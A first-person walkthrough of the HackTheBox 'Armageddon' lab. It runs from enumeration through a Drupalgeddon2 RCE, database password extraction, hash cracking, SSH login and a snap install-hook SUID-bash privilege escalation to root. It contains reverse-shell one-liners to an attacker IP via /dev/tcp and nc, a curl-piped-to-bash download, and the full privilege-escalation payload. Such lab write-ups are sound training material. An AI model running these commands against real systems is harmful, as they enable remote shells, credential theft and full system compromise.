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I start off with a nmap scan. nmap -Pn -T4 -sV -sC -A -p- -oN armageddon_nmap_results.txt 10.10.10.233

We can see so much here. port 22 ssh is open running protocol 2.0 Port 80 is open running apache httpd 2.4.6 (CentOS) php/5.4.16

It is running on Drupal 7

There is a robots.txt file with 36 disallowed entries which only 15 are shown. That means that 21 are not visible to us. INSTALL.pgsql.txt and MAINTAINERS.txt files are standing out to me.

I first looked for exploits for protocol 2.0 on port 22, didn't find anything. Up next is the robots.txt. It had all 36 allowed/disallowed entries listed.

User-agent: *
Crawl-delay: 10
CSS, JS, Images
Allow: /misc/*.css?
Allow: /misc/*.css?
Allow: /misc/*.js?
Allow: /misc/*.js?
Allow: /misc/*.gif

Allow: /misc/*.jpg

Allow: /misc/*.jpeg

Allow: /misc/*.png

Allow: /modules/*.css\$

Allow: /modules/*.css?

Allow: /modules/*.js\$

Allow: /modules/*.js?

Allow: /modules/*.gif

Allow: /modules/*.jpg

Allow: /modules/*.jpeg

Allow: /modules/*.png

Allow: /profiles/*.css\$

Allow: /profiles/*.css?

Allow: /profiles/*.js\$

Allow: /profiles/*.js?

Allow: /profiles/*.gif

Allow: /profiles/*.jpg

Allow: /profiles/*.jpeg

Allow: /profiles/*.png

Allow: /themes/*.css\$

Allow: /themes/*.css?

Allow: /themes/*.js\$

Allow: /themes/*.js?

Allow: /themes/*.gif

Allow: /themes/*.jpg

Allow: /themes/*.jpeg

Allow: /themes/*.png

Directories

Disallow: /includes/

Disallow: /misc/

Disallow: /modules/

Disallow: /profiles/

Disallow: /scripts/

Disallow: /themes/

Files

Disallow: /CHANGELOG.txt

Disallow: /cron.php

Disallow: /INSTALL.mysql.txt Disallow: /INSTALL.pgsql.txt

Disallow: /INSTALL.sqlite.txt

Disallow: /install.php

Disallow: /INSTALL.txt

Disallow: /LICENSE.txt Disallow: /MAINTAINERS.txt

Disallow: /update.php

Disallow: /UPGRADE.txt

Disallow: /xmlrpc.php

Paths (clean URLs)

Disallow: /admin/

Disallow: /comment/reply/

Disallow: /filter/tips/

Disallow: /node/add/

Disallow: /search/

Disallow: /user/register/

Disallow: /user/password/

Disallow: /user/login/

Disallow: /user/logout/

Paths (no clean URLs)

Disallow: /?q=admin/

Disallow: /?q=comment/reply/

Disallow: /?q=filter/tips/

Disallow: /?q=node/add/

Disallow: /?q=search/

Disallow: /?q=user/password/

Disallow: /?q=user/register/

Disallow: /?q=user/login/

Disallow: /?q=user/logout/

I saw /misc/ a lot and tried out 10.10.10.233/misc and It worked. We found more hidden directories. Now this is making me think that I should run a gobuster against 10.10.10.233. I Found lots of hidden directories from 10.10.10.233.

```
/LICENSE.txt
                  (Status: 200) [Size: 18092]
/README.txt
                   (Status: 200) [Size: 5382]
/authorize.php
                    (Status: 403) [Size: 2824]
/cgi-bin/
                (Status: 403) [Size: 210]
/cgi-bin/.html
                  (Status: 403) [Size: 215]
                 (Status: 403) [Size: 7388]
/cron.php
/includes
                 (Status: 301) [Size: 237] [--> http://10.10.10.233/includes/]
                  (Status: 200) [Size: 7440]
/index.php
                 (Status: 200) [Size: 3172]
/install.php
               (Status: 301) [Size: 233] [--> http://10.10.10.233/misc/]
/misc
                 (Status: 301) [Size: 236] [--> http://10.10.10.233/modules/]
/modules
/profiles
                (Status: 301) [Size: 237] [--> http://10.10.10.233/profiles/]
/robots.txt
                 (Status: 200) [Size: 2189]
                 (Status: 200) [Size: 2189]
/robots.txt
/scripts
               (Status: 301) [Size: 236] [--> http://10.10.10.233/scripts/]
/sites
              (Status: 301) [Size: 234] [--> http://10.10.10.233/sites/]
/themes
                 (Status: 301) [Size: 235] [--> http://10.10.10.233/themes/]
/update.php
                   (Status: 403) [Size: 4057]
/xmlrpc.php
                  (Status: 200) [Size: 42]
```

I went through a huge list of directories that ill save you the trouble of reading every file output. I found one particular folder 10.10.10.233/sites/default. It had a settings.php file that had a lot of content in it. Scrolling through showed info on a database with the database name, user, pass.

```
$databases = array (
  'default' =>
  array (
   'default' =>
  array (
    'database' => 'drupal',
    'username' => 'drupaluser',
    'password' => 'CQHEy@9M*m23gBVj',
    'host' => 'localhost',
    'port' => '',
    'driver' => 'mysql',
    'prefix' => '',
```

I didn't have any where to plug these credentials in yet, so I made note of them and went to look for an exploit for drupal 7.56 I run searchsploit drupal

I looked at 44449.rb and saw it was RCE without authentication or metasploit so I did searchsploit -m php/webapps/44449.rb

I did subl 44449.rb that way I can review and edit the code. subl is sublime. It's a text editor.

It looks like its adding a fake "shell.php" to the website and giving us a shell.

Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]

I run ./44449.rb 10.10.10.233 and get an error asking for a gem called highline. I found out what is was after some googling. Gotta love google. I installed the highline gem and ran ./44449.rb 10.10.10.233 again and I got connected to armageddon.htb.

I run sudo -l and no luck. Were not allowed to run anything as sudo.

```
armageddon.htb>> sudo -l
sudo: unable to open /run/sudo/ts/apache: Permission denied

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

sudo: no tty present and no askpass program specified
sudo: unable to open audit system: Permission denied
sudo: unable to open audit system: Permission denied
```

I run a whoami and we are apache

after running linpeas.sh on the machine with curl ip/linpeas.sh | bash | find a few vulnerabilities it listed.

CVE-2021-4034 CVE-2018-14665 CVE-2016-0728 CVE-2014-0038 /run/snapd-snap.socket

and it was also able to print out /etc/passwd file to give us a user of brucetherealadmin.

I try to ssh brucetherealadmin@10.10.10.233 with the password we found earlier "CQHEy@9M*m23gBVj" in the settings.php file but no luck.

I tried running Enum4linux, pspy64, pspy32 and all those vulnerabilities listed on the linpeas.sh scan and none of them worked. The shell wasn't allowing us to do much. Kept getting back a lot of errors. At this point I was lost. I wasn't sure how to log into the mysql servers with the credentials I found. Mysql was my weak point. It is now improving after practice. I'm getting more confident on how to find the correct syntax to log into these servers. I went to ippsec

who is an amazing ethical hacker. You can find his Twitter here https://twitter.com/ippsec, his YouTube here https://www.youtube.com/c/ippsec where you'll find a lot of great content including but not limited to CTFs, and HackTheBox retired machines. I learned a lot from that one video. Particular more efficient ways to search for sensitive files, such as configs or setting files. Now, back to the box. Everything from this point I followed along with ippsec.

I log into the mysql server while on armageddon.htb who is an apache user on the domain. mysql -u drupaluser --password=CQHEy@9M*m23gBVj -e 'show databases'

We get back a few databases. drupal was the name of the databases that was connected to that password we found earlier in the settings.php file

```
armageddon.htb>> mysql -u drupaluser --password=CQHEy@9M*m23gBVj -e 'show databases'
Database
information_schema
drupal 
mysql
performance_schema
```

I'll use that database and see what tables are available for us to enumerate. For this we add the -D switch to use the database drupal mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'show tables'

We get back a lot of tables, but users and users_roles stand out. We'll describe users to see what's there.

```
sessions
shortcut_set
shortcut_set_users
system
taxonomy_index
taxonomy_term_data
taxonomy_term_hierarchy
taxonomy_vocabulary
url_alias
users _____
users_roles
variable
watchdog
```

mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'describe users'

We get back the following information.

```
Null
ield
                         Key
                                  Default Extra
rid
        int(10) unsigned
                                  NO
                                          PRI
                         NO
                                  UNI
        varchar(60)
        varchar(128)
nail
        varchar(254)
                         YES
                                  MUL
        varchar(255)
theme
                         NO
ignature
                varchar(255)
signature format
                                          YES
                                                            NULL
                         varchar(255)
reated int(11) NO
                         MUL
                                  0
       int(11) NO
                         MUL
                                  0
access
login
        int(11) NO
                                  0
status tinyint(4)
                                                   NULL
                                  YES
                varchar(32)
timezone
                 varchar(12)
picture int(11) NO
                         MUL
                                  0
        varchar(254)
init
                         YES
                                          NULL
```

Now we can select the proper field types that we want output for. This way we don't get flooded with other information that we don't need. We only want uids, name, pass, logins

mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'select uid,name,pass,login from users'

We get a user and a hash. No admin since 0 is blank, but we get a user 1 brucetherealadmin.

bruce the real admin~\$S\$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURtable for the control of the contr

```
armageddon.htb>> mysql -u drupaluser --password=CQHEy@9M*m23gBVj -D drupal -e 'select uid,name,pass,login from users'
uid name pass login
0 0
1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276
```

I run hashcat hash.txt -m 7900 /usr/share/wordlists/rockyou.txt and it gets cracked. password is booboo

```
lctionary cache hit:
Filename..: /usr/share/wordlists/rockyou.txt
Passwords.: 14344385
 Bytes....: 139921507
 Keyspace..: 14344385
S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo
Session...... hashcat
Status....: Cracked
Hash.Mode.....: 7900 (Drupal7)
dash.Target.....: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt
Time.Started....: Wed Sep 21 17:42:00 2022 (1 sec)
Time.Estimated...: Wed Sep 21 17:42:01 2022 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.#1....: 406 H/s (9.80ms) @ Accel:16 Loops:1024 Thr:1 Vec:4
Recovered....: 1/1 (100.00%) Digests
Progress.....: 256/14344385 (0.00%)
Rejected.....: 0/256 (0.00%)
Restore.Point...: 128/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768
Candidate.Engine.: Device Generator
Candidates.#1....: carolina -> freedom
lardware.Mon.#1..: Util: 43%
```

Now we got some credentials. brucetherealadmin:booboo I will try to ssh into this machine with these credentials. ssh brucetherealadmin@10.10.10.233

```
Shellshock:[/home/Shellshock/Documents/htb/armageddon] -> ssh brucetherealadmin@10.10.10.233 brucetherealadmin@10.10.233's password:
Last login: Thu Sep 22 02:02:45 2022 from 10.10.14.14
[brucetherealadmin@armageddon ~]$ |
```



I use Is and there is a user.txt flag here. cat user.txt will give us the flag.

```
[brucetherealadmin@armageddon ~]$ ls
user.txt
[brucetherealadmin@armageddon ~]$ cat user.txt
5fd213bea9e596b943590798c840ad08
[brucetherealadmin@armageddon ~]$
```



Now that I got control of a user account. I want to see what permissions have been granted to brucetherealadmin. To check these permissions I use sudo -l. I can run /usr/bin/snap install * as root with no password.

```
[brucetherealadmin@armageddon ~]$ sudo -l
Matching Defaults entries for brucetherealadmin on armageddon:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User brucetherealadmin may run the following commands on armageddon:
    (root) NOPASSWD: /usr/bin/snap install *
[brucetherealadmin@armageddon ~]$
```

Snap is another form of apt-get, yum, which are all installation programs. So if we can find a script that exploits snap, we can have snap give it sudo permissions and escalate privileges.

I go to https://gtfobins.github.io/ which is a great site to find a list of binaries to bypass security misconfigurations. Snap is one of them.



It looks like its making a variable named command and giving command the value of the id command.

Its making a temp directory and changing into it.

It makes directories meta/hooks

it creates the shabang of #! /bin/bash, puts the id command in the script and writes it to a file named install. Which is located in the meta/hooks directories. gives install chmod +x permissions that way it can be executed with root permissions.

and uses something called fpm which seems to be some kind of package manager. According to the github located here https://github.com/jordansissel/fpm lastly it will use the persmissions of sudo that we was granted for brucetherealadmin and install the package with --dangerous --devmode
I google searched for snap --dangerous --devmode and brings me to https://snapcraft.io/docs/install-modes. It says --dangerous is used for testing local unsigned scripts and --devmode is used as developer mode for testing and viewing log output.

Snap install modes

A snap can be installed with the following optional arguments, typically used to help test a snap under development, troubleshoot interface issues, or debug application crashes:

- --classic: classic confinement for full system access
- --dangerous : dangerous mode for testing local unsigned snaps
- --devmode: developer mode for testing and viewing log output
- -- jailmode : forces a snap to be installed with strict confinement

On my attacking machine I install fpm since it is part of the requirements of the exploit. Copy the exploit code from gtfobins and paste it in my terminal.

```
COMMAND=id
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
I cat out the file xxxx_1.0_all.snap to make sure its all there. It is.
cat xxxx_1.0_all.snap
```

```
Shellshock:[/tmp/tmp.Y2QQvdevKD] -> cat xxxx_1.0_all.snap
hsqsN+c/'#!/bin/sh
id; false---
name: xxxx
version: 1.0
summary: no description given
description: no description given
architectures:
- all
confinement: devmode
grade: devel
7zXZi"6M!x&&E]0&7)[N,0}`-f00JiuK`J@
YZ]install$hookssnap.yamlhmeta(h$D!Shellshock:[/tmp/tmp.Y2QQvdevKD] ->
```

I host up a python http server using python3 -m http.server 80 in the directory that has the xxxx_1.0_all.snap file on my attacking machine.

on the victim_machine I curl the file and output it to a file called shock.snap curl 10.10.14.14/xxxx_1.0_all.snap -o shock.snap cat shock.snap and the file is set and ready.

```
% Received % Xferd
                                Average Speed
                                                                         Current
                                Dload
                                       Upload
                                                 Total
   4096 100 4096
                                37396
brucetherealadmin@armageddon ~]$ ls
 ock.snap user.txt
brucetherealadmin@armageddon ~]$ cat shock.snap
sqsN+c/'#!/bin/sh
d; false-
  e: xxxx
  mary: no description given
escription: no description given
rchitectures:
onfinement: devmode
rade: devel
zXZi"6M!x&&E]0&7)[N,0}`-f00JiuK`J@
Z]install$hookssnap.yamlhmeta(h$D![brucetherealadmin@armageddon ~]$
```

gtfobins wants us to use the follow syntax.

sudo snap install xxxx_1.0_all.snap --dangerous --devmode we'll switch out the xxxx_1.0_all.snap for shock.snap sudo snap install shock.snap --dangerous --devmode

It does take 30 seconds to a minute to run which feels like a long time. But it does execute the id command and shows us as root.

```
YZ]install$hookssnap.yamlhmeta(h$D![brucetherealadmin@armageddon ~]$ sudo snap install shock.snap --dangerous --devmode
error: cannot perform the following tasks:
- Run install hook of "xxxx" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_servi
```

At this point the gtfobin binary exploit works. We need to swap out the id command for something that will give us root permissions. But this shell is very worky and a lot of reverse shell commands do not work. Such as

```
bash -c 'bash -i >& /dev/tcp/10.10.14.14/443 0>&1' rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.14 443 >/tmp/f
```

Ippsec changed the ownership of /bin/bash that originally belonged to root. This exploit will change the ownership of /bin/bash and give ownership to brucetherealadmin. brucetherealadmin will now be able to run /bin/bash as a root user. Which will escalate our privileges.

We replace the id command that was given to us from gtfobins with chown root:root /home/brucetherealadmin/bash;chmod 4755 /home/brucetherealadmin/bash and it will now look like this.

COMMAND="chown root:root /home/brucetherealadmin/bash;chmod 4755 /home/brucetherealadmin/bash" cd \$(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "\$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta

I killed my python3 http.server we had up earlier because now it brought us to a new directory. It's important you do this because your http.server will be in the wrong directory if you don't. You won't be able to transfer it over to the victim machine.

and make sure you remove the old shock.snap file that was on the victim machine that had the old id command in it. curl the file over and rename it to shock.snap same as last time.

curl 10.10.14.14/xxxx 1.0 all.snap -o shock.snap cat out the file to make sure everything is there and it is.

Before we execute this, we have to change the path of /usr/bin/bash and put it in our current /home/brucetherealadmin directory. This is because brucetherealadmin has control over everything in his own /home directory. And we want bash to be here after we run the exploit that way the ownership is changed to us. We copy the path with cp /usr/bin/bash.

It now shows up in our home directory. Now we can run the snap exploit.

If you run Is -la you'll see right now we don't have root permissions. Still just brucetherealadmin.

```
brucetherealadmin@armageddon ~]$ ls -la
total 964
Irwx----. 2 brucetherealadmin brucetherealadmin
                                                            129 Sep 22 03:32
rwxr-xr-x. 3 root root 31 Dec 3 2020 ...
rwxr-xr-x. 1 brucetherealadmin brucetherealadmin 964536 Sep 22 03:32 bash
drwxr-xr-x. 3 root
rwxrwxrwx. 1 root
                                   root
                                                             9 Dec 11 2020 .bash_history -> /dev/null
                                                           18 Apr 1 2020 .bash_logout
193 Apr 1 2020 .bash_profile
rw-r--r-. 1
              brucetherealadmin brucetherealadmin
rw-r--r-. 1 brucetherealadmin brucetherealadmin
rw-r--r-. 1 brucetherealadmin brucetherealadmin
                                                          231 Apr 1 2020 .bashrc
4096 Sep 22 03:28 shock.snap
rw-rw-r--. 1 brucetherealadmin brucetherealadmin
      ---. 1 brucetherealadmin brucetherealadmin
                                                            33 Sep 22 03:22 user.txt
brucetherealadmin@armageddon ~]$
```

I run the command sudo snap install shock.snap --dangerous --devmode. The exploit works and changed ownership to root in our /home/brucetherealadmin directory. You'll notice if you do a ls and ls -la that it is highlighted red now. It is in our home directory with root permissions now.

```
repare snap "/var/lib/snapd/snaps/.local-install-368716350" (unset)
rror: cannot perform the following tasks:
Run install hook of "xxxx" snap if present (run hook "install": exit status 1)
brucetherealadmin@armageddon ~]$ ls

brucetherealadmin@armageddon ~]$ ls

bash shock.snap user.txt

brucetherealadmin@armageddon ~]$ ls -la
 otal 964
               2 brucetherealadmin brucetherealadmin
                                                                            129 Sep 22 03:32
                                                                        31 Dec 3 2020 ..
964536 Sep 22 03:32 bash
 rwxr-xr-x.
               3 root
                                             root
                                             root
 rwsr-xr-x.
                                                                                  Dec 11
                                                                                             2020 .bash_history -> /dev/null
                   brucetherealadmin brucetherealadmin
                                                                                  Apr 1
Apr 1
                                                                                             2020 .bash_logout
                   brucetherealadmin brucetherealadmin
                                                                            193 Apr
                                                                                             2020 .bash profile
rw-r--r--
                   brucetherealadmin brucetherealadmin
                                                                             231 Apr
                                                                                                      .bashrc
                   brucetherealadmin brucetherealadmin
```

We are still brucetherealadmin. But now we just have to use that bash binary and we'll be root. ./bash -p and we have changed our euid to root.

```
[brucetherealadmin@armageddon ~]$ id uid=1000(brucetherealadmin) groups=1000(brucetherealadmin) context=unco:unconfined_t:s0-s0:c0.c1023
[brucetherealadmin@armageddon ~]$ ./bash -p bash-4.2# id uid=1000(brucetherealadmin) gid=1000(brucetherealadmin) gid=1000(brucetherealadmin) euid=0(root) groups=1000(brucetherealadmin):unconfined_r:unconfined_t:s0-s0:c0.c1023
```

We can now change into /root with cd /root. run Is to see what is there and the root.txt is there. cat root.txt and it works. We got the root flag!

```
bash-4.2# cd /root
bash-4.2# ls
anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap
bash-4.2# cat root.txt
bc319c0125ab6cc6a2d5c31e8fed2eb0
```

SHELLSHOCKED!



After this, I wanted to play around with the snap exploit and see what else I could change ownership of. I was able to change ownership of pkexec, sudo, and lots of others. But for some reason this shell wouldn't execute them. I kept getting errors. But it was fun doing more and learning extra material.

Don't forget. You can find ippsec at here. Twitter here https://twitter.com/ippsec, his YouTube here https://www.youtube.com/c/ippsec